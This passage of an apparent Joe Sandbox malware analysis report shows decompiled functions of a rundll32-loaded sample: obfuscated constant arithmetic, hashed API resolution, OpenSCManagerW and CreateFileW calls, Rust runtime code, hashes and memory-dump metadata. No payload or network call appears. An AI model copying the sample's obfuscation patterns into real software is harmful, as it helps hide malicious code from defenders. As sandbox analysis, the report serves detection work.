0x01072d30
0x01072d31
0x01072d36
0x01072d3f
0x01072d42
0x01072d45
0x01072d52
0x01072d55
0x01072d5c
0x01072d5f
0x01072d66
0x01072d72
0x01072d73
0x01072d78
0x01072d82
0x01072d89
0x01072d8d
0x01072d94
0x01072d9b
0x01072da9
0x01072dac
0x01072dca
0x01072de1
0x01072de8

APIs

CreateFileW.KERNEL32(001086C5,?,?,00000000,0007BFC3,?,00000000), ref: 01072DE1

Memory Dump Source

Source File: 00000002.00000002.545043648.0000000001060000.00000040.00000010.sdmp, Offset: 01060000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1060000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 37d28f26a62827ccb09b71f088429a632209e16a918a5702217c5103877af2d7
Instruction ID: dc9908d0cccd19c63cecf76ff2cae54453c61f071704a6c2ff0ae1969231660b
Opcode Fuzzy Hash: 37d28f26a62827ccb09b71f088429a632209e16a918a5702217c5103877af2d7
Instruction Fuzzy Hash: 4021007290020DBBDF05DFA9CD498DEBFB6FB88304F108049F914AA260D7B69A14DB90

Uniqueness

Uniqueness Score: -1.00%

Function 01083231, Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E01083231(intOrPtr _a4, int _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t51;
				void* _t65;
				signed int _t66;
				signed int _t67;
				signed int _t68;

				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(0);
				_push(0);
				E01068002(_t51);
				_v20 = 0x8ddd0f;
				_v20 = _v20 ^ 0xe03e86bb;
				_v20 = _v20 + 0xffff1f0e;
				_v20 = _v20 ^ 0xe0b01721;
				_v16 = 0x43c95a;
				_t66 = 3;
				_v16 = _v16 * 0x6c;
				_t67 = 0x1d;
				_v16 = _v16 / _t66;
				_v16 = _v16 ^ 0x0989b3a6;
				_v12 = 0xb34ce2;
				_v12 = _v12 ^ 0x4f195b2f;
				_v12 = _v12 / _t67;
				_v12 = _v12 ^ 0x02b53c02;
				_v8 = 0x60e613;
				_v8 = _v8 + 0xffff76e9;
				_v8 = _v8 + 0xffff1349;
				_t68 = 0x34;
				_v8 = _v8 / _t68;
				_v8 = _v8 ^ 0x000b7b8d;
				E0107E399(_t68, _v8 % _t68, _t68, 0x1f1ae65e, 0x189, 0x1de1df5f);
				_t65 = OpenSCManagerW(0, 0, _a8); // executed
				return _t65;
			}

0x01083238
0x0108323d
0x01083240
0x01083243
0x01083244
0x01083245
0x0108324a
0x01083253
0x0108325a
0x01083261
0x01083268
0x01083275
0x01083278
0x01083280
0x01083281
0x01083286
0x0108328d
0x01083294
0x010832a2
0x010832a7
0x010832ae
0x010832b5
0x010832bc
0x010832c6
0x010832cc
0x010832cf
0x010832f2
0x010832ff
0x01083305

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,0989B3A6,?,?,?,?,?,?,?,9C77B295,?), ref: 010832FF

Memory Dump Source

Source File: 00000002.00000002.545043648.0000000001060000.00000040.00000010.sdmp, Offset: 01060000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1060000_rundll32.jbxd

Yara matches

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: a68b103b72432212da7b1a25f69248b8733d1da947c96e5792bd945326fca532
Instruction ID: 0c83dd2c0bc8bb32d6d4ea852764adb3e3e9975a84c28b1ce542e27598bf322e
Opcode Fuzzy Hash: a68b103b72432212da7b1a25f69248b8733d1da947c96e5792bd945326fca532
Instruction Fuzzy Hash: C4213476E01218FBDB04DFA9C84A9DEBFB6FF44310F10C18AE515AA250D7B55B119F80

Uniqueness

Uniqueness Score: -1.00%

Function 01079038, Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E01079038(void* __ecx, void* __edx, void* _a4, intOrPtr _a8) {
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				void* _t53;
				int _t66;
				signed int _t68;
				signed int _t69;
				signed int _t70;

				_push(_a8);
				_push(_a4);
				E01068002(_t53);
				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v32 = 0xed3f98;
				_v16 = 0x2a9dca;
				_t68 = 0x79;
				_v16 = _v16 / _t68;
				_v16 = _v16 << 2;
				_v16 = _v16 ^ 0x000f760a;
				_v20 = 0x68a68c;
				_t69 = 0x7f;
				_v20 = _v20 / _t69;
				_v20 = _v20 ^ 0x0005afe9;
				_v8 = 0x320c70;
				_t70 = 0x39;
				_v8 = _v8 / _t70;
				_v8 = _v8 | 0xebb37c35;
				_v8 = _v8 ^ 0x7178f36a;
				_v8 = _v8 ^ 0x9ac8a43f;
				_v12 = 0x21358c;
				_v12 = _v12 << 0xe;
				_v12 = _v12 >> 0xd;
				_v12 = _v12 ^ 0x00063172;
				E0107E399(_t70, _v8 % _t70, _t70, 0xa2449830, 0x35, 0x3485d61b);
				_t66 = FindCloseChangeNotification(_a4); // executed
				return _t66;
			}

0x0107903e
0x01079041
0x01079046
0x0107904b
0x01079051
0x01079055
0x0107905c
0x01079068
0x0107906d
0x01079072
0x01079076
0x0107907d
0x01079087
0x0107908c
0x01079091
0x01079098
0x010790a2
0x010790a8
0x010790ab
0x010790b2
0x010790b9
0x010790c0
0x010790c7
0x010790cb
0x010790cf
0x010790ef
0x010790fa
0x010790ff

APIs

FindCloseChangeNotification.KERNEL32(00063172,?,?,?,?,?,?,?,010809EF), ref: 010790FA

Memory Dump Source

Source File: 00000002.00000002.545043648.0000000001060000.00000040.00000010.sdmp, Offset: 01060000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1060000_rundll32.jbxd

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 9411e8551fc63ef0553251f4ae46958ba514df95cf067e6227528f3c3549ca8c
Instruction ID: 819d7e0c3c0f2a11d2580b3b36ff78caf1ee98608d1712a88d629deee4ff6c58
Opcode Fuzzy Hash: 9411e8551fc63ef0553251f4ae46958ba514df95cf067e6227528f3c3549ca8c
Instruction Fuzzy Hash: B62124B1E0020CEBDF04DFE5C84AADEBBB6EB51304F10C099E514AA250D7B95B559F80

Uniqueness

Uniqueness Score: -1.00%

Function 0106F3F7, Relevance: 1.5, APIs: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0106F3F7() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _t47;

				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v36 = 0xb0bfd;
				_v32 = 0x231de0;
				_v20 = 0x822c7a;
				_t47 = 0x31;
				_push(_t47);
				_v20 = _v20 * 0x25;
				_v20 = _v20 ^ 0x12d3a120;
				_v12 = 0x122796;
				_v12 = _v12 | 0x5fffe7f7;
				_v12 = _v12 ^ 0x5ff36a5b;
				_v8 = 0xc53dc4;
				_v8 = _v8 + 0xffff669e;
				_v8 = _v8 + 0xba03;
				_v8 = _v8 + 0x1f9e;
				_v8 = _v8 ^ 0x00c2122b;
				_v16 = 0x5857ad;
				_v16 = _v16 / _t47;
				_v16 = _v16 ^ 0x000b8ebe;
				E0107E399(_t47, _v16 % _t47, _t47, 0xa2449830, 0x41, 0x9da8748a);
				ExitProcess(0);
			}

0x0106f3fd
0x0106f403
0x0106f407
0x0106f40e
0x0106f415
0x0106f422
0x0106f423
0x0106f429
0x0106f42c
0x0106f433
0x0106f43a
0x0106f441
0x0106f448
0x0106f44f
0x0106f456
0x0106f45d
0x0106f464
0x0106f46b
0x0106f479
0x0106f47c
0x0106f495
0x0106f49f

APIs

ExitProcess.KERNEL32(00000000), ref: 0106F49F

Memory Dump Source

Source File: 00000002.00000002.545043648.0000000001060000.00000040.00000010.sdmp, Offset: 01060000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1060000_rundll32.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 03812332bf7814123334a19349d3f4d4ec07a23d3eba325336f5a23eb22f412d
Instruction ID: 5ce5b47b5cad5a28c2c53f40d86066426a19a5fcb6f2e5c7975d1d24290966c9
Opcode Fuzzy Hash: 03812332bf7814123334a19349d3f4d4ec07a23d3eba325336f5a23eb22f412d
Instruction Fuzzy Hash: 7411D6B1E1121DEBDF04DFE4D94A6EEBBB4FB14315F108188E521AA250E7B45B558F80

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC2C26, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,6EDC283F,00000001,00000364,?,FFFFFFFF,000000FF,?,?,6EDBCB0C,?,?,6EDBC074), ref: 6EDC2C67

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2a368c8f946fb9e0a0408cbb9ac5caa54470c5a417f528a00d22e425b978afb9
Instruction ID: 85b72cd1587ec13c043026f03bca0865849256bfa8dc9e546a5c791977f63e6d
Opcode Fuzzy Hash: 2a368c8f946fb9e0a0408cbb9ac5caa54470c5a417f528a00d22e425b978afb9
Instruction Fuzzy Hash: 3FF0B432244D26EAFB515FF69A14B9B375C9F41EE8B009522F824AB184CB32D54186B3

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC22E9, Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,6EDBCB0C,?,?,6EDBC074,00000400,FFFDC801,?,?,00000001), ref: 6EDC231B

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0fdd984f6eb9c80e2cccee412940837d8e3aac6cb968e272e63f307fdbc4f3e0
Instruction ID: 94c8a44d2566e058e6ce379de36c227bdd5eee2e321f8095921a00b7fe06c491
Opcode Fuzzy Hash: 0fdd984f6eb9c80e2cccee412940837d8e3aac6cb968e272e63f307fdbc4f3e0
Instruction Fuzzy Hash: E5E0E531141932DAFA5217E68C0478A766CAF02EE9F001124EC5097180DB20C40381B3

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6EDAD380, Relevance: 26.7, APIs: 14, Strings: 1, Instructions: 445
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E6EDAD380(signed int __ebx, long* __ecx, signed int __edi, long __esi, char _a8) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				signed int _v36;
				long _v40;
				void* _v44;
				void* _v48;
				long _v52;
				signed int _v56;
				void* _v60;
				signed int _v64;
				signed int _v68;
				void* _v72;
				long* _v76;
				signed int _v80;
				signed int _v1096;
				long _v1100;
				void* _v1104;
				void* __ebp;
				void* _t142;
				void* _t143;
				void* _t148;
				signed int _t149;
				intOrPtr _t151;
				void* _t155;
				void* _t157;
				signed int _t158;
				signed int _t160;
				void** _t161;
				void* _t167;
				long _t171;
				signed int _t172;
				long _t173;
				void* _t179;
				void* _t181;
				long _t194;
				signed int _t195;
				signed char _t196;
				signed int _t199;
				signed int _t200;
				signed int _t211;
				signed int _t213;
				signed int _t214;
				void* _t218;
				intOrPtr _t220;
				signed int _t223;
				intOrPtr* _t224;
				intOrPtr _t226;
				signed int _t228;
				char* _t229;
				signed int _t230;
				signed int _t232;
				signed int _t238;
				signed int _t241;
				signed int _t242;
				WCHAR* _t247;
				long _t248;
				signed int _t249;
				signed int _t252;
				char* _t264;
				void* _t265;
				void* _t267;
				void* _t268;
				signed char* _t273;
				signed int _t274;
				void* _t280;
				intOrPtr _t281;

				_t262 = __esi;
				_t245 = __edi;
				_t192 = __ebx;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t281 = _t280 - 0x440;
				_v32 = _t281;
				_v20 = 0xffffffff;
				_v24 = E6EDB39D0;
				_v76 = __ecx;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t142 =  *0x6edfe128; // 0x3340000
				if(_t142 != 0) {
					L3:
					_t143 = HeapAlloc(_t142, 0, 0xa);
					if(_t143 == 0) {
						goto L94;
					} else {
						_t264 = "UST_BACKTRACE";
						_t241 = 1;
						_t211 = 0;
						 *_t143 = 0x52;
						_v1104 = _t143;
						_v1100 = 5;
						_v1096 = 1;
						_v44 = 0;
						while(1) {
							_v36 = _t211;
							if(_t211 == 0) {
								goto L10;
							}
							_v44 = 0;
							_t211 = 0;
							if(_t241 != _v1100) {
								L6:
								_t245 = _v36;
								 *((short*)(_t143 + _t241 * 2)) = _v36;
								_t241 = _t241 + 1;
								_v1096 = _t241;
								continue;
							} else {
								L13:
								_v40 = _t264;
								_v20 = 0;
								_v48 = _t241;
								_t188 =  <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11;
								_t189 = ( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2;
								asm("sbb eax, 0x0");
								_t190 = (( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2) + 2;
								E6EDC9A30( &_v1104, _t241, (( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2) + 2);
								_t281 = _t281 + 4;
								_t143 = _v1104;
								_t241 = _v48;
								_t264 = _v40;
								_t211 = _v44;
								goto L6;
							}
							L10:
							__eflags = _t264 - 0x6edeface;
							if(_t264 != 0x6edeface) {
								_t196 =  *_t264 & 0x000000ff;
								_t229 =  &(_t264[1]);
								_t249 = _t196 & 0x000000ff;
								__eflags = _t196;
								if(_t196 < 0) {
									_v36 = _t249 & 0x0000001f;
									__eflags = _t229 - 0x6edeface;
									if(_t229 == 0x6edeface) {
										_t230 = 0;
										__eflags = _t196 - 0xdf;
										_t252 = 0;
										_v40 = 0x6edeface;
										if(_t196 > 0xdf) {
											goto L25;
										} else {
											_v36 = _v36 << 6;
											_t264 = 0x6edeface;
											_t211 = 0;
											__eflags = _t241 - _v1100;
											if(_t241 != _v1100) {
												goto L6;
											} else {
												goto L13;
											}
										}
									} else {
										_t238 = _t264[1] & 0x000000ff;
										_t264 =  &(_t264[2]);
										_t230 = _t238 & 0x0000003f;
										__eflags = _t196 - 0xdf;
										if(_t196 <= 0xdf) {
											_t199 = _v36 << 0x00000006 | _t230;
											__eflags = _t199 - 0xffff;
											if(_t199 > 0xffff) {
												goto L32;
											} else {
												goto L22;
											}
										} else {
											__eflags = _t264 - 0x6edeface;
											if(_t264 == 0x6edeface) {
												_t252 = 0;
												__eflags = 0;
												_v40 = 0x6edeface;
											} else {
												_v40 =  &(_t264[1]);
												_t252 =  *_t264 & 0x3f;
											}
											L25:
											_t232 = _t230 << 0x00000006 | _t252;
											__eflags = _t196 - 0xf0;
											if(_t196 < 0xf0) {
												_t199 = _v36 << 0x0000000c | _t232;
												_t264 = _v40;
												__eflags = _t199 - 0xffff;
												if(_t199 > 0xffff) {
													goto L32;
												} else {
													goto L22;
												}
											} else {
												_t273 = _v40;
												__eflags = _t273 - 0x6edeface;
												if(_t273 == 0x6edeface) {
													_t274 = 0;
													__eflags = 0;
													_v40 = 0x6edeface;
												} else {
													_v40 =  &(_t273[1]);
													_t274 =  *_t273 & 0x3f;
												}
												_t199 = _t232 << 0x00000006 | (_v36 & 0x00000007) << 0x00000012 | _t274;
												_t264 = _v40;
												__eflags = _t199 - 0xffff;
												if(_t199 <= 0xffff) {
													L22:
													_v36 = _t199;
													_t211 = 0;
													__eflags = _t241 - _v1100;
													if(_t241 != _v1100) {
														goto L6;
													} else {
														goto L13;
													}
												} else {
													L32:
													_t200 = _t199 + 0xffff0000;
													_v40 = _t264;
													_v36 = _t200 >> 0x0000000a | 0x0000d800;
													_t264 = _v40;
													_t211 = _t200 & 0x000003ff | 0x0000dc00;
													_v44 = _t211;
													__eflags = _t241 - _v1100;
													if(_t241 != _v1100) {
														goto L6;
													} else {
														goto L13;
													}
												}
											}
										}
									}
								} else {
									_t264 = _t229;
									_v36 = _t249;
									_t211 = 0;
									__eflags = _t241 - _v1100;
									if(_t241 != _v1100) {
										goto L6;
									} else {
										goto L13;
									}
								}
								goto L96;
							}
							_t242 = _v1096;
							asm("movsd xmm0, [ebp-0x44c]");
							_v64 = _t242;
							asm("movsd [ebp-0x44], xmm0");
							__eflags = _t242 - 8;
							_t213 = _t242;
							_t148 = _v72;
							_t265 = _t148;
							if(_t242 < 8) {
								L45:
								_t214 = _t213 + _t213;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									__eflags = _t214;
									if(_t214 == 0) {
										break;
									}
									_t214 = _t214 + 0xfffffffe;
									__eflags =  *_t265;
									_t265 = _t265 + 2;
									if(__eflags != 0) {
										continue;
									} else {
										goto L48;
									}
									goto L96;
								}
								__eflags = _t242 - _v68;
								if(_t242 == _v68) {
									_v20 = 1;
									E6EDC9A30( &_v72, _t242, 1);
									_t281 = _t281 + 4;
									_t148 = _v72;
									_t242 = _v64;
								}
								 *((short*)(_t148 + _t242 * 2)) = 0;
								asm("movsd xmm0, [ebp-0x44]");
								asm("movsd [ebp-0x38], xmm0");
								_t149 = _v60;
								__eflags = _t149;
								_v36 = _t149;
								if(_t149 == 0) {
									goto L75;
								} else {
									_v80 = _v56;
									E6EDBE9D0(_t245,  &_v1104, 0, 0x400);
									_t281 = _t281 + 0xc;
									_t155 =  *0x6edef8cc; // 0x2
									_t194 = 0x200;
									_t262 = 0;
									_v60 = _t155;
									_v56 = 0;
									_v48 = _t155;
									_v52 = 0;
									__eflags = 0x200 - 0x201;
									if(0x200 >= 0x201) {
										L65:
										_t157 = _t194 - _t262;
										__eflags = _v56 - _t262 - _t157;
										if(_v56 - _t262 < _t157) {
											_v44 = _t194;
											_v20 = 5;
											E6EDC9A30( &_v60, _t262, _t157);
											_t281 = _t281 + 4;
											_t194 = _v44;
											_v48 = _v60;
										}
										_t247 = _v48;
										_t262 = _t194;
										_v52 = _t194;
										_v40 = _t194;
									} else {
										L68:
										_t247 =  &_v1104;
										_v40 = 0x200;
									}
									L69:
									_v44 = _t247;
									SetLastError(0);
									_t158 = GetEnvironmentVariableW(_v36, _t247, _t194);
									_t245 = _t158;
									__eflags = _t158;
									if(_t158 != 0) {
										L71:
										__eflags = _t245 - _t194;
										if(_t245 != _t194) {
											L63:
											__eflags = _t245 - _t194;
											_t192 = _t245;
											if(_t245 < _t194) {
												_t239 = _v40;
												_v20 = 5;
												__eflags = _t245 - _v40;
												if(__eflags > 0) {
													goto L95;
												} else {
													_push(_t245);
													E6EDB0D10(_t192,  &_v72, _v44, _t245, _t262);
													_t281 = _t281 + 4;
													_t218 = _v72;
													_t248 = _v68;
													_t262 = _v64;
													_t195 = 0;
													_t160 = _v56;
													__eflags = _t160;
													if(_t160 != 0) {
														goto L81;
													} else {
													}
													goto L84;
												}
											} else {
												__eflags = _t192 - 0x201;
												if(_t192 < 0x201) {
													goto L68;
												} else {
													goto L65;
												}
												goto L69;
											}
										} else {
											_t171 = GetLastError();
											__eflags = _t171 - 0x7a;
											if(_t171 != 0x7a) {
												goto L63;
											} else {
												_t194 = _t194 + _t194;
												__eflags = _t194 - 0x201;
												if(_t194 < 0x201) {
													goto L68;
												} else {
													goto L65;
												}
												goto L69;
											}
										}
									} else {
										_t172 = GetLastError();
										__eflags = _t172;
										if(_t172 != 0) {
											_t195 = 1;
											_t173 = GetLastError();
											_t218 = 0;
											_t248 = _t173;
											_t160 = _v56;
											__eflags = _t160;
											if(_t160 != 0) {
												L81:
												__eflags = _v48;
												if(_v48 != 0) {
													__eflags = _t160 & 0x7fffffff;
													if((_t160 & 0x7fffffff) != 0) {
														_v44 = _t218;
														HeapFree( *0x6edfe128, 0, _v48);
														_t218 = _v44;
													}
												}
											}
											L84:
											__eflags = _t195;
											if(_t195 == 0) {
												_t161 = _v76;
												 *_t161 = _t218;
												_t161[1] = _t248;
												_t161[2] = _t262;
											} else {
												__eflags = _t218 - 3;
												 *_v76 = 0;
												if(_t218 == 3) {
													_v20 = 4;
													_v44 = _t248;
													 *((intOrPtr*)( *((intOrPtr*)(_t248 + 4))))( *_t248);
													_t281 = _t281 + 4;
													_t267 = _v44;
													_t220 =  *((intOrPtr*)(_t267 + 4));
													__eflags =  *(_t220 + 4);
													if( *(_t220 + 4) != 0) {
														_t167 =  *_t267;
														__eflags =  *((intOrPtr*)(_t220 + 8)) - 9;
														if( *((intOrPtr*)(_t220 + 8)) >= 9) {
															_t167 =  *(_t167 - 4);
														}
														HeapFree( *0x6edfe128, 0, _t167);
													}
													HeapFree( *0x6edfe128, 0, _t267);
												}
											}
											__eflags = _v80 & 0x7fffffff;
											if((_v80 & 0x7fffffff) != 0) {
												HeapFree( *0x6edfe128, 0, _v36);
											}
											goto L76;
										} else {
											goto L71;
										}
									}
								}
							} else {
								_t228 = _t242;
								_t268 = _t148;
								while(1) {
									__eflags =  *_t268;
									if( *_t268 == 0) {
										break;
									}
									__eflags =  *((short*)(_t268 + 2));
									if( *((short*)(_t268 + 2)) == 0) {
										break;
									} else {
										__eflags =  *((short*)(_t268 + 4));
										if( *((short*)(_t268 + 4)) == 0) {
											break;
										} else {
											__eflags =  *((short*)(_t268 + 6));
											if( *((short*)(_t268 + 6)) == 0) {
												break;
											} else {
												__eflags =  *((short*)(_t268 + 8));
												if( *((short*)(_t268 + 8)) == 0) {
													break;
												} else {
													__eflags =  *((short*)(_t268 + 0xa));
													if( *((short*)(_t268 + 0xa)) == 0) {
														break;
													} else {
														__eflags =  *((short*)(_t268 + 0xc));
														if( *((short*)(_t268 + 0xc)) == 0) {
															break;
														} else {
															__eflags =  *((short*)(_t268 + 0xe));
															if( *((short*)(_t268 + 0xe)) == 0) {
																break;
															} else {
																_t228 = _t228 + 0xfffffff8;
																_t268 = _t268 + 0x10;
																__eflags = _t228 - 7;
																if(_t228 > 7) {
																	continue;
																} else {
																	goto L45;
																}
															}
														}
													}
												}
											}
										}
									}
									goto L96;
								}
								L48:
								_t223 = _v68;
								_v56 = 0x6edf06d8;
								_v60 = 0x1402;
								__eflags = _t223;
								if(_t223 != 0) {
									__eflags = _t148;
									if(_t148 != 0) {
										__eflags = _t223 & 0x7fffffff;
										if((_t223 & 0x7fffffff) != 0) {
											HeapFree( *0x6edfe128, 0, _t148);
										}
									}
								}
								__eflags = _v60 - 3;
								if(_v60 == 3) {
									_t224 = _v56;
									_v36 = _t224;
									_t70 = _t224 + 4; // 0x2c
									_v20 = 2;
									 *((intOrPtr*)( *_t70))( *_t224);
									_t281 = _t281 + 4;
									_t179 = _v36;
									_t226 =  *((intOrPtr*)(_t179 + 4));
									__eflags =  *(_t226 + 4);
									if( *(_t226 + 4) != 0) {
										_t181 =  *_t179;
										__eflags =  *((intOrPtr*)(_t226 + 8)) - 9;
										if( *((intOrPtr*)(_t226 + 8)) >= 9) {
											_t181 =  *(_t181 - 4);
										}
										HeapFree( *0x6edfe128, 0, _t181);
										_t179 = _v56;
									}
									HeapFree( *0x6edfe128, 0, _t179);
								}
								L75:
								 *_v76 = 0;
								L76:
								_t151 = _v28;
								 *[fs:0x0] = _t151;
								return _t151;
							}
							goto L96;
						}
					}
				} else {
					_t142 = GetProcessHeap();
					if(_t142 == 0) {
						L94:
						_t239 = 2;
						E6EDC92F0(_t192, 0xa, 2, _t245, _t262, __eflags);
						asm("ud2");
						L95:
						E6EDC9470(_t192, _t245, _t239, _t245, _t262, __eflags, 0x6edf06e0);
						asm("ud2");
						__eflags =  &_a8;
						E6EDA48D0( *_v44,  *((intOrPtr*)(_v44 + 4)));
						return E6EDAD270(_t263);
					} else {
						 *0x6edfe128 = _t142;
						goto L3;
					}
				}
				L96:
			}

APIs

GetProcessHeap.KERNEL32 ref: 6EDAD3BC
HeapAlloc.KERNEL32(03340000,00000000,0000000A), ref: 6EDAD3D3

Strings

RUST_BACKTRACE, xrefs: 6EDAD48A, 6EDAD4C0

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: Heap$AllocProcess
String ID: RUST_BACKTRACE
API String ID: 1617791916-3454309823
Opcode ID: 80183d68a3a1c0f64ac6b5c6acbb42f420ccbe285257d0b7fdb1cbe08bae964a
Instruction ID: 32c274193784ebded962d2dc6ed055b6111be6101ade3e60f120714c6855b3a3
Opcode Fuzzy Hash: 80183d68a3a1c0f64ac6b5c6acbb42f420ccbe285257d0b7fdb1cbe08bae964a
Instruction Fuzzy Hash: B502ACB1E00219CFEB14CF98C89479DB7B1BF49318F184169DA5ABB280D774AA41CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 6EDA75F4, Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 423COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6EDA7723
__aulldiv.LIBCMT ref: 6EDA7733

Strings

called `Option::unwrap()` on a `None` value, xrefs: 6EDA79BC
{recursion limit reached}{invalid syntax}, xrefs: 6EDA7C06
bool, xrefs: 6EDA788B
?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern ", xrefs: 6EDA7602, 6EDA7A59

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: ?'for<, > as ::{shimclosure#[]dyn + ; mut const unsafe extern "$bool$called `Option::unwrap()` on a `None` value${recursion limit reached}{invalid syntax}
API String ID: 3839614884-433696047
Opcode ID: a0892c9aae51ce135097a6f031608d4cc8e3272203030da18b13b293c074e8a1
Instruction ID: 811f3ebdaf595caeba399cf92bb89082bbdc80807f4fecfba21dfe53ed815150
Opcode Fuzzy Hash: a0892c9aae51ce135097a6f031608d4cc8e3272203030da18b13b293c074e8a1
Instruction Fuzzy Hash: 6EE127B1A08341AFD304CFACC4A076AB7E1EF86314F14896ED9958B3D9D734D946CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBD1CC, Relevance: 6.1, APIs: 4, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6EDBD1D8
IsDebuggerPresent.KERNEL32 ref: 6EDBD2A4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6EDBD2C4
UnhandledExceptionFilter.KERNEL32(?), ref: 6EDBD2CE

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
